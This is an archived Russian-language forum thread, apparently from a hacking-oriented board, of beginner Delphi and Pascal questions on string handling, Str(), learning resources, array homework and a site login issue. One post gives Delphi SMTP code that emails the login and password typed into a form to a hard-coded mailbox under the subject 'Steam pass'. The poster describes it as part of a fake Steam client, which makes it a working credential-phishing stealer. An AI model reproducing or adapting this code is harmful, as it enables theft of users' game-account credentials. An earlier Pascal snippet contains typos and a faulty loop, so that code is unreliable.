[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. 0x22b

    0x22b Elder - Старейшина

    Joined:
    1 Dec 2007
    Messages:
    114
    Likes Received:
    32
    Reputations:
    9
    Ачатовцы, подскажите как на паскале в строке текста найти слово которое больше пяти символов, но меньше 8?
     
  2. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Как вариант - считать количество символов между пробелами.
     
  3. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Code:
    i := 1;
    while not eoln(stroka) do
    begin
      if storka[i]<>' ' then
      begin
        rezStroka := rezStroka + stroka[i];
        inc(i);
        if (lenght(rezStroka)>5)and (lenght(rezStroka)<8) then
          break;
      end
      else
      begin
        rezStroka := '';
        inc(i);
      end;
    end;
    Что сразу в голову пришло. В результате в rezStroka окажется нужное слово.
     
    1 person likes this.
  4. [Dezzter]

    [Dezzter] Elder - Старейшина

    Joined:
    26 Nov 2007
    Messages:
    182
    Likes Received:
    131
    Reputations:
    3
    Подскажите хороший справочкик/документацию по регулярным выражениям.
    Везде какие-то обрубки, собирать информацию по кускам, как то не очень в кайф :(
     
  5. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    [Dezzter], Вот тут довольно полно написано :
    туц
     
    1 person likes this.
  6. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Pascal:
    Объясните пожалуйста что значит функция виду str (i,k)
    k : string;
    i : integer;
    Читал гугл, реально не понимаю что она делает.
     
  7. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Переводит число i в сроку k
    Например:
    var
    i : integer;
    s : string;
    begin
    i := 666;
    //тут у нас еще пустая строка
    Str(i, s);
    //а вот тут строка равна '666'
    end;
     
  8. DeadLiftBaby

    DeadLiftBaby New Member

    Joined:
    11 Apr 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Мне кажется у меня будет слегка попонятнее :)
    i := 666;
    //тут у нас тип 666 integer, т.е. число
    str(i,s); //Переводит числовое значение в строковоe
    end.
     
  9. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    А вот и неправильно :p :D
    Тип не меняется, просто строка сначала пустая, а после выполнения процедуры содержит число i в строковом виде, а i так остается равным 666
     
  10. qwert135

    qwert135 New Member

    Joined:
    22 Nov 2009
    Messages:
    53
    Likes Received:
    0
    Reputations:
    0
    всем привет, Вот надумал делфи учить.Как думаете начинать с этой книги норм будет: Фленов "Библия Delphi"?
     
  11. n1ghtstalker

    n1ghtstalker Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    59
    Likes Received:
    3
    Reputations:
    0
    ну да,как бы основа основ )
     
  12. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Можешь в нагрузку еще видеоуроков скачать, так сказать больше визуализации получишь :)
     
  13. MUNY

    MUNY New Member

    Joined:
    6 Mar 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    procedure TForm1.IdSMTP1Connected(Sender: TObject);
    Что тут не правильно..?
     
    #6333 MUNY, 6 Jun 2010
    Last edited: 6 Jun 2010
  14. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    47
    Likes Received:
    54
    Reputations:
    -1
    begin
    IdSMTP1.Host:='smtp.mail.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='abcd@yandex.ru';
    IdSMTP1.Password:='abcd@yandex.ru';
    IdMessage1.Body.Text:=edit1.Text+':'+edit2.Text;
    IdMessage1.From.Text:='qwerty@mail.ru';
    IdMessage1.Recipients.EMailAddresses:='qwerty@mail .ru';
    IdMessage1.Subject:='accs';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect



    Code:
    begin
    idSMTP1.Host:='smtp.mail.ru';
    idSMTP1.Username:='login';
    idSMTP1.Password:='pass';
    idMessage1.Body.text:='Login - '+Edit1.Text+' Pass -'+Edit2.Text;
    idMessage1.From.Text:='login@mail.ru';
    idmessage1.Recipients.EMailAddresses:='kyda@mail.ru';
    idMessage1.Subject:='Steam pass';
    if (Edit1.text='') or (edit2.Text='') then
    MessageBox(0, 'вы не ввели Логин или Пароль', 'Error', MB_ICONWARNING)
    else
    idSmtp1.Connect;
    idSmtp1.Send(idMessage1);
    label1.Font.Color:=clGreen;
    label1.Caption:='Online';
    end;
    вот кусок из моего фейка стима
     
    #6334 Vlad3d, 6 Jun 2010
    Last edited: 6 Jun 2010
  15. qwert135

    qwert135 New Member

    Joined:
    22 Nov 2009
    Messages:
    53
    Likes Received:
    0
    Reputations:
    0
    можешь ссылку дать на норм уроки?
     
  16. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Не сказать чтобы идеально, но для начала сойдет:
    http://rutracker.org/forum/viewtopic.php?t=2803667
    А это уже с юмором:
    http://rutracker.org/forum/viewtopic.php?t=2829387
     
  17. Scripter

    Scripter Member

    Joined:
    3 Sep 2008
    Messages:
    141
    Likes Received:
    95
    Reputations:
    6
    интересно каким нужно быть пи.. , чтоб обучаться по этим урокам
     
  18. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Простите Всевышний, больше не буду.
     
  19. stilus

    stilus New Member

    Joined:
    3 Jan 2010
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Ребята, нужна срочно помощь, нужно решить задачу в делфи с формами:

    1)Дан массив A размера N. Вывести его элементы в следующем порядке:
    A1, A2, AN, AN–1, A3, A4, AN–2, AN–3, … .

    2)Дан массив размера N. Найти номера тех элементов массива, которые больше своего правого соседа, и количество таких элементов. Найденные номера выводить в порядке их возрастания.

    3)Дана матрица размера M х N. Найти номер ее строки с наибольшей суммой элементов и вывести данный номер, а также значение наибольшей суммы.

    4)Дана матрица размера M х N. Найти количество ее строк, элементы которых упорядочены по возрастанию.

    Отблагодарю, если что пишите в ICQ-386892 или сдесь
     
  20. winlogon.exe

    winlogon.exe Active Member

    Joined:
    5 Jun 2009
    Messages:
    31
    Likes Received:
    129
    Reputations:
    13
    Перестала работать авторизация вконтакте. Как бы вроде авторизация проходит но после того как перехожу на другую страницу то уже не авторизован.
    Что может быть? :confused:
     
Thread Status:
Not open for further replies.